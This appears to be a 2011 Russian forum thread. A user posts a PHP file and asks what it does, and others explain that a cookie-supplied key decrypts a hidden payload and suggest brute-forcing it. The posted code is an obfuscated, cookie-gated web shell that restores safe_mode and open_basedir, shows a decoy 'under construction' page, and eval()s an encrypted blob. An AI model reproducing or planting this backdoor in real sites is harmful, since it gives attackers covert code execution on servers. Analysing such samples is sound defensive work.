Что делает скрипт и что зашифровано?

heks · 14 Nov 2011

<?php
error_log('<?php ini_restore("safe_mode"); ?>', 0);
error_log('<?php ini_restore("open_basedir"); ?>', 0);
ini_restore("safe_mode");
ini_restore("open_basedir");
set_time_limit(0);
error_reporting(0);

if($_COOKIE["session"] !== "26416c002bedce63f73eca313d31ce6c")
die("<br><br><br><center><h2>Web page under construction</h2><h3>Try back soon!</h3></center>");

echo "Jesus Christ. What did you call it?";
echo "Kuang Grade Mark Eleven.";
echo "It's Chinese?";
echo "Yes.";
echo "";
echo "-----[~~Loading~~]-----";

$key = $_COOKIE["key"];
$ct = $_COOKIE["ct"];

function decrypt($string, $key) {
$result = "";
for($i=0; $i<strlen($string)/2; $i++) {
$char = hexdec($string[2*$i].$string[2*$i+1]);
$keychar = substr($key, ($i % strlen($key))-1, 1);
$char = chr($char-ord($keychar));
$result.=$char;
}
return $result;
}

$string = '6faed9db9e959e8a7050dad8b8adabcabbb8d3da5859688a6257968677a9bbc4b8add8ca5c52669b5f50bab8988dabaa9b98b3ba8f8088c9787dbabaac6f876155b5d08e5494a8dfa193cfc183a36c94886c8cdb94a29fd6a29fce887c66c761c0b0dacc9ca1a8ce5b54ccd5c8b4afbca67dc7925494a8dfa193cfc185a3787badbbdfd49397949d9059a570d05056c0b1748ec89fa7a7cd988b9ac3738389776db0d9dd9e9ea8cb97529386ce50b0c6c2bad6d59196618e959fdfd4b6aba788a8788ec89fa7a7cd988b9cc37c8156d45556cfc998a1598c556b74cbb6aebb776dcae8e4ae8d6692769fd7d6bfabc0bc7479c7e4aeb0b78c6e3a748673acc1c5aec0d3d59e529dd9aa9ed6d5b4aa747bbbaddece5c56a7cba0959386ce506c776b6c8a865052598a5350d3cc7b6770bdbb6ca78696a1a9cfa1588ed4b4b3b1836dc38c8f593c598a53508a8673666c776b6ce5705052598a53508a8673666c776b6c8a869595a1d95352b0dbb6b1b1bb6baee386a49a9e8a8395dcd3bcb9bfc0babadd866a8d5ba53d39736fd0506c776b6c8a865052598a5350cfd2c6ab56776b6c8a865052598a53508ae15d666c776b6c8a865052598a5399d08e746ab3bcbf6ca786969ba5cf5b54dac7c7ae7580556c8a865052598a53508a8673c15660545573cb939aa88a5573cbd4c766b0c6c2bad6d5919659de9b958accbcb2b1776fbccbda985273c5556b748673666c776b6c8a86505259e73d508a8673666c776b6c8a865097a5dd983a8a8673666c776b6c8a865052b47453508a8673666c776b6c8a8696a1ab925799a7968e6ab59388afd9db9ea6618e9a95de8f8e6ab582767574865052598a53508a8673666cd2556c8a865052598a53508a8673acc3c9b4c0cf8e5498a9965797cfdaae6ab5b4748774865052598a53508a8673666cd45555736f39979cd2a2508cbdb866b3c6bf6cd3da5c525dda94a4d286c6a7c2bcaf6cded55056a7cba0958ca15d666c776b6c8a865052598a53ad748673666c776b6c8a86505259d0969cd9d9b86e70bdbb75a5705052598a53508a8673666c77c856e77050529fdfa193decfc2b46cccafbcd0d29fa19d925798d9d9c77270c7acafd5cba4a5a2e4985c8edabcb3b1806bc774865052598a53508acbb6aebb776d7997935d5f94e8b176d6d5c2aa6caabfaddcda95965ae8b18d97938073797986568a865052598a53508ed6b4a9b7bcbf6ca7865254747453508a8673666c77b1bbdc8e549b769a6e54d3a277b6adbab6b1ded999ac9ea5579995917c66c7776fbccbc99b97ad8a616d8ac9bbb874c4bfabdcc79e96619b5f629f9c7c6f8777c8568a865052598a53508edabcb3b1c06b898ada999f9e925c6b748673666c776b6c8a8a9952768a636b748673666c776b6c8a8aa297a9cf94a4c9c7c76689777b8774865052598a53508addbbafb8bc73c0d3d3955a629757a4d3d3b8af6c936b70decf9d97628aae3a8a8673666c776b6c8a865052598a53508a8673666c776b6cd3cc505aadd3a095928f73846c7bbdb1dacb91a698cba7598ae15d666c776b6c8a865052598a53508a8673666c776b6c8a865052598a53508a86736abebcbbb1cbda8f93ad8a7050decfc0ab74806b778ad891a09d92655c9d8f73706c8d7b8774865052598a53508a8673666c776b6c8a865052598a53508a8673666c776b6c8a865052598a53508a8673666c776b6c8a8aa397abe098a2c9cfc3668977b2b1dece9fa5adccac9ecbd3b86e70bfbabfde8f6b3c598a53508a8673666c776b6c8a865052598a53508a8673666c776b6c8a865052598a53508a8673666c776b6c8a8650525ddd98a2e0cbc5a5b5c76b898a8e5197a6daa7a9928ac6abbecdb0bec9cfa05b628a72508ed9b8b8c2bcbdabd3d6506c598e9b9fddda8e506c776b6c8a865052598a53508a8673666c776b6c8a865052b67453508a8673666c776b6c8a865052598a5796daa3b9b9bbbab6bbdacb9e5a5bdf97a0a49582687a7bbeb1dcdc95a498d3a35cd7dab2b8adc5af749a926662699a5c5c8ecb7f6abf838075a5705052598a53508a8673666c776b6c8a8696a9abd3a795928ab9b6787bbbadcdd195a662a53d508a8673666c776b6c8a865052598a5396cdd2c2b9b17f6fb2da8f6b3c598a53508a8673666c776b6c8a8650525dd35e5ba57073666c776b6c8a86ad3c598a53508a86736670bcb9c28aa35056a28a5d508ed6b4a9b7bcbfbfd3e0956d438a53508a8673666c7bb0bae0866d525dcfa1a68a9573777c8b8381a19c6b3c598a53508a86736670cdb0b88aa350569ed8a950998677bab5c4b08774865052598a53508a8ac9abb877886cdcd5a5a09d9257a6cfd27c8156776b6c8a865052598e989ee0869066bec6c0bace8e5497a7e05c6b746f5cabafbfba6c8c935d5f66978eaee88ab8b4c277988e8a955056afcf9f50b7a8c6c4cab4787997935d547474b03a74';

$command = decrypt($ct, $key);
$source = decrypt($string, $key);
eval($source);

?>
Click to expand...

тут ?

C-r-A-c-K · 14 Nov 2011

нужны куки
$key = $_COOKIE["key"];
$ct = $_COOKIE["ct"];
для расшифровки.

spider-intruder · 14 Nov 2011

Для расшифровки у пользователя должна быть установленна кука а вней храниться пароль для расшифровки. Сообщение расшифруется и выполниться. Очевидно зашифрованная строка - php скрипт.

Впринципе сломать такое не сложно. Можно брутить пароль и смотреть на результат - в процессе расшифровки должен получиться скрипт... Как бы написать регулярочку и чуть модифицировать цикл расшифровки...

Что делает скрипт и что зашифровано?

heks Banned

C-r-A-c-K New Member

spider-intruder Elder - Старейшина

Useful Searches

Что делает скрипт и что зашифровано?

heks Banned

C-r-A-c-K New Member

spider-intruder Elder - Старейшина